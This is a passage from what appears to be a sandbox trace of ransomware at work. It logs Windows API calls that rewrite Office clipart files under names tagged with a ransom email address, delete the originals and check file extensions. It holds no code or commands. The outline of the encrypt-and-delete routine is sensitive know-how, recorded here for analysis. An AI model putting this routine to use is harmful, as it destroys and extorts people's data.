Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.378] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.378] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.378] GetLastError () returned 0x0 [0062.378] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xf6c, lpOverlapped=0x0) returned 1 [0062.379] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf70, lpOverlapped=0x0) returned 1 [0062.380] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.380] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.380] SetEndOfFile (hFile=0x23c) returned 1 [0062.381] CloseHandle (hObject=0x23c) returned 1 [0062.381] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.381] SetEndOfFile (hFile=0x1dc) returned 1 [0062.381] CloseHandle (hObject=0x1dc) returned 1 [0062.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0062.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.382] lstrlenW (lpString=".doc") returned 4 [0062.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.382] lstrlenW (lpString=".docx") returned 5 [0062.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.382] lstrlenW (lpString=".pdf") returned 4 [0062.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.382] lstrlenW (lpString=".xls") returned 4 [0062.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.382] lstrlenW (lpString=".xlsx") returned 5 [0062.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.382] lstrlenW (lpString=".ppt") returned 4 [0062.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.382] lstrlenW (lpString=".zip") returned 4 [0062.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.382] lstrlenW (lpString=".rar") returned 4 [0062.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.382] lstrlenW (lpString=".bz2") returned 4 [0062.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.382] lstrlenW (lpString=".7z") returned 3 [0062.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.383] lstrlenW (lpString=".dbf") returned 4 [0062.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.383] lstrlenW (lpString=".1cd") returned 4 [0062.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0062.383] lstrlenW (lpString=".jpg") returned 4 [0062.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.383] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=10538) returned 1 [0062.383] CloseHandle (hObject=0x1dc) returned 1 [0062.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20 [0062.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.383] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.383] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.384] GetLastError () returned 0x0 [0062.384] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x292a, lpOverlapped=0x0) returned 1 [0062.386] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2930, lpOverlapped=0x0) returned 1 [0062.386] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.387] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.387] SetEndOfFile (hFile=0x23c) returned 1 [0062.387] CloseHandle (hObject=0x23c) returned 1 [0062.387] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.387] SetEndOfFile (hFile=0x1dc) returned 1 [0062.388] CloseHandle (hObject=0x1dc) returned 1 [0062.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.388] lstrlenW (lpString=".doc") returned 4 [0062.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.388] lstrlenW (lpString=".docx") returned 5 [0062.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.388] lstrlenW (lpString=".pdf") returned 4 [0062.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.388] lstrlenW (lpString=".xls") returned 4 [0062.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.388] lstrlenW (lpString=".xlsx") returned 5 [0062.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.388] lstrlenW (lpString=".ppt") returned 4 [0062.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.388] lstrlenW (lpString=".zip") returned 4 [0062.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.388] lstrlenW (lpString=".rar") returned 4 [0062.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.389] lstrlenW (lpString=".bz2") returned 4 [0062.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.389] lstrlenW (lpString=".7z") returned 3 [0062.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.389] lstrlenW (lpString=".dbf") returned 4 [0062.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.389] lstrlenW (lpString=".1cd") returned 4 [0062.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0062.389] lstrlenW (lpString=".jpg") returned 4 [0062.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.389] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4236) returned 1 [0062.389] CloseHandle (hObject=0x1dc) returned 1 [0062.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0062.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.390] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.390] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.390] GetLastError () returned 0x0 [0062.390] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x108c, lpOverlapped=0x0) returned 1 [0062.391] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1090, lpOverlapped=0x0) returned 1 [0062.392] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.392] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.392] SetEndOfFile (hFile=0x23c) returned 1 [0062.393] CloseHandle (hObject=0x23c) returned 1 [0062.393] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.393] SetEndOfFile (hFile=0x1dc) returned 1 [0062.393] CloseHandle (hObject=0x1dc) returned 1 [0062.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0062.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.394] lstrlenW (lpString=".doc") returned 4 [0062.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.394] lstrlenW (lpString=".docx") returned 5 [0062.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.394] lstrlenW (lpString=".pdf") returned 4 [0062.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.394] lstrlenW (lpString=".xls") returned 4 [0062.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.394] lstrlenW (lpString=".xlsx") returned 5 [0062.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.394] lstrlenW (lpString=".ppt") returned 4 [0062.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.394] lstrlenW (lpString=".zip") returned 4 [0062.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.394] lstrlenW (lpString=".rar") returned 4 [0062.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.394] lstrlenW (lpString=".bz2") returned 4 [0062.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.394] lstrlenW (lpString=".7z") returned 3 [0062.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.394] lstrlenW (lpString=".dbf") returned 4 [0062.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.395] lstrlenW (lpString=".1cd") returned 4 [0062.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0062.395] lstrlenW (lpString=".jpg") returned 4 [0062.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.396] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3564) returned 1 [0062.396] CloseHandle (hObject=0x1dc) returned 1 [0062.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0062.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.396] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.396] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.397] GetLastError () returned 0x0 [0062.397] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xdec, lpOverlapped=0x0) returned 1 [0062.398] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0062.399] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.399] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0062.399] SetEndOfFile (hFile=0x23c) returned 1 [0062.399] CloseHandle (hObject=0x23c) returned 1 [0062.399] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.399] SetEndOfFile (hFile=0x1dc) returned 1 [0062.400] CloseHandle (hObject=0x1dc) returned 1 [0062.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0062.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.400] lstrlenW (lpString=".doc") returned 4 [0062.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.400] lstrlenW (lpString=".docx") returned 5 [0062.401] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0062.401] lstrlenW (lpString=".pdf") returned 4 [0062.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString=".xls") returned 4 [0062.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.401] lstrlenW (lpString=".xlsx") returned 5 [0062.401] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0062.401] lstrlenW (lpString=".ppt") returned 4 [0062.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.401] lstrlenW (lpString=".zip") returned 4 [0062.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.401] lstrlenW (lpString=".rar") returned 4 [0062.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString=".bz2") returned 4 [0062.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString=".7z") returned 3 [0062.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.401] lstrlenW (lpString=".dbf") returned 4 [0062.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.401] lstrlenW (lpString=".1cd") returned 4 [0062.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0062.401] lstrlenW (lpString=".jpg") returned 4 [0062.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.402] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2422) returned 1 [0062.402] CloseHandle (hObject=0x1dc) returned 1 [0062.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0062.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0062.403] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.403] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0062.411] GetLastError () returned 0x0 [0062.411] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x976, lpOverlapped=0x0) returned 1 [0062.504] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x980, lpOverlapped=0x0) returned 1 [0062.505] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.505] WriteFile (in: hFile=0x23c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.505] SetEndOfFile (hFile=0x23c) returned 1 [0062.505] CloseHandle (hObject=0x23c) returned 1 [0062.505] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.505] SetEndOfFile (hFile=0x1dc) returned 1 [0062.506] CloseHandle (hObject=0x1dc) returned 1 [0062.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 